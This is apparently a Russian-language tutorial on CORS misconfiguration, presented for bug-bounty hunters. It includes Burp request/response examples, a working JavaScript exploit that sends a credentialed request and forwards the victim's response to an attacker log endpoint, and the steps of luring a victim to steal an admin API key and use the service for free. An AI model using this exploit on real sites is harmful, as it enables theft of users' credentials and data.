Разбирaемся с CORS.
Kevin MitnickРазберемся, что это такое и научимся эксплуатировать.
Привет, Аноним.
Сегодня внимание будет сосредоточено на сross-origin resource sharing (CORS). Разберемся, что это такое и как можно эксплуатировать неправильную конфигурацию CORS. На конкретном примере разберем уязвимость и посмотрим, что с этого можно получить. Также, пройдемся по вознаграждениям за уязвимости CORS из последних отчетов BugBounty.
Что такое CORS?
Cross-origin resource sharing (CORS) — это механизм браузера, который позволяет предоставить веб-странице доступ к ресурсам другого домена. Иногда, бывает что приложение состоит из нескольких сайтов, которые находятся на разных портах или доменах. И как раз от конфигурации CORS зависит, какие скрипты можно будет использовать, а какие нет.
Если эта политика настроена неправильно, то потенциально приложение может быть уязвимо к междоменным атаками. Чтобы рассказать, почему так популярен CORS нужно затронуть еще один термин.
Same-origin policy — это встроенная политика единого местопроисхождения браузера, которая была придумана для предотвращения атак сайтов друг на друга. Например, если бы этой политики не было, то при заходе на вредоносный сайт evil.com, с помощью скрипта можно было бы вытащить вашу переписку в protonmail.com или историю платежей в онлайн-банкинге.
Поэтому во всех браузерах кроме Internet Explorer есть такая защиту.
Чтобы лучше понять на практике, расскажу какие запросы пройдут сквозь same-origin policy, а какие нет, на примере домена evil.com.
Поэтому разработчикам приходиться работать с другими страницами и обрабатывать их результаты с помощью сross-origin resource sharing.
Какие уязвимости могут быть при неправильной конфигурации CORS?
Представим типичную ситуацию разработки. Разработчик поднимает приложение например на порту 8000 и указывает, что оно должно работать с клиентом, который будет находиться на порту 3000.
Пробует выполнить тестовый запрос, запрос выполняется, но результат недоступен.
После этого он начинает гуглить ошибку и на первой странице видит ответ, что нужно добавить два заголовка для решения всех проблем: Access-Control-Allow-Origin и Access-Control-Allow-Credentials: true.
Без детального изучения это добавляется в код, тем самым разрешая доступ на выполнения запросов и передачу результатов с любого домена, включая передачу Cookies, ключей и токенов другим доменам. И тут начинается самое интересное.
Как написать JavaScript эксплоит для уязвимости CORS?
Сейчас я покажу на практике, как можно отправить запрос и посмотреть, является ли сайт уязвимым.
Пропускам трафик к сайту через BurpSuite, смотрим историю реквестов и находим один из таких запросов к сайту, где есть Origin. Меняем Origin на рандомный, в моем случае https://evil.com.
GET /accountInfo HTTP/1.1 Host: carsmarket.net User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: carsmarket.net/my-account?id=plastik Origin: https://evil.com Connection: close Cookie: session=234e32erefsdagfsdbgsaf342rf2rf2 Cache-Control: max-age=0
После отправки Request получаем Response от сервера со следующим содержанием. Access-Control-Allow-Origin: https://evil.com и Access-Control-Allow-Credentials: true.
В этих заголовках указывается, что доступ разрешен из запрашивающего домена (evil.com) и что междоменные запросы могут включать файлы cookie (Access-Control-Allow-Credentials: true). Это означает, что сайт уязвим, так как позволяет отправлять ответы на абсолютно любой домен.
GET /accountInfo HTTP/1.1 HTTP/1.1 200 OK Access-Control-Allow-Origin: https://evil.com Access-Control-Allow-Credentials: true Content-Type: application/json; charset=utf-8 X-XSS-Protection: 0 Connection: close Content-Length: 89 { "username": "plastik", "email": "", "apikey": "uk6bkwawLOR4WLILf5Rd1zkcg7eWDWen" }
Например, у нас есть какой-то интернет магазин, который после покупки услуги предоставляет API ключ для работы с программой. Что-то на подобии Shodan и Censys, которые предоставляют API ключ для консольной версии после покупки премиум-пакета.
Для разработки эксплоита нужно понимать структуру сайта, для этого можем зарегистрироваться и посмотреть на какой именно странице отображается API-ключ. Также нам нужно создать вредоносный сайт, куда зайдет жертва, и от ее имени отправим запрос с целью получения API-ключа.
Более детально посмотрим на сам код JavaScript эксплоита (создаем скрипт, который будет отправлять запрос на страницу сайт с целью получения API-ключа):
<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://carsmarket.net/accountInfo',true); req.withCredentials = true; req.send(); function reqListener() { location='/log?key='+this.responseText; }; </script>
Размещаем этот код на своем вебсайте. Для проверки работоспособности можно самому перейти на эту страницу и получить собственный API ключ.
Для проведения атаки, отправляем ссылку на сайт с нашей страницей жертве и ожидаем информации в лог-сервере. После перехода нашей жертвы по ссылке получаем вот такую запись:
2020-07-15 05:31:09 +0000 "GET /log?key={%20%20%22username%22:%20%22admin%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22sdgfer32f3ef34r23423df23%22} HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36"
Делаем URL-decode и получае API ключ admin. После этого бесплатно используем неограниченные возможности сервиса.
"username": "admin", "email": "", "apikey": "sdgfer32f3ef34r23423df23"
Вот мы и разобрали, как с помощью неправильной конфигурации CORS можно получить конфиденциальные данные.
Cколько платят BugBounty за уязвимости с CORS?
Сумма вознаграждения в BugBounty программах будет зависеть от контекста. Некоторые компании выносят конфигурацию CORS вне скоупа тестирования. Если с помощью CORS удалось получить клиентские данные или учетные данные пользователя, то сумма может быть в диапазоне от $500 и до $2500.
Несколько примеров с Hackerone.
Первый кейс позволял получить информацию по клиентам сервиса. Информация была достаточно ценной для компании поэтому хакер получил вознаграждение в размере $2100.
Второй кейс позволял получить информацию о пользователях: идентификаторы, id-проектов и т.д. Сумма была чуть меньше, но неплохое вознаграждение для хакера в размере $1000.
Заключение
В статье мы разобрались, что такое сross-origin resource sharing и same-origin policy. Узнали как найти сайт, который имеет уязвимую конфигурацию CORS. На конкретном примере, с помощью Javascript эксплоита угнали API ключ админа сервиса.
Более детально попрактиковать атаки на CORS можно в лабораториях Portswigger.
CORS требует достаточно щепетильной настройки. Если на сайте стандартная конфигурация — это первый звоночек. Несмотря на то, что уязвимость достаточно специфическая в эксплуатации, тем не менее позволяет получить конфиденциальные данные. В некоторых случаях будет являться критическим риском. И вознаграждение в таких случаях может составлять до $2500 или нести риск потенциальной утечки клиентских данных.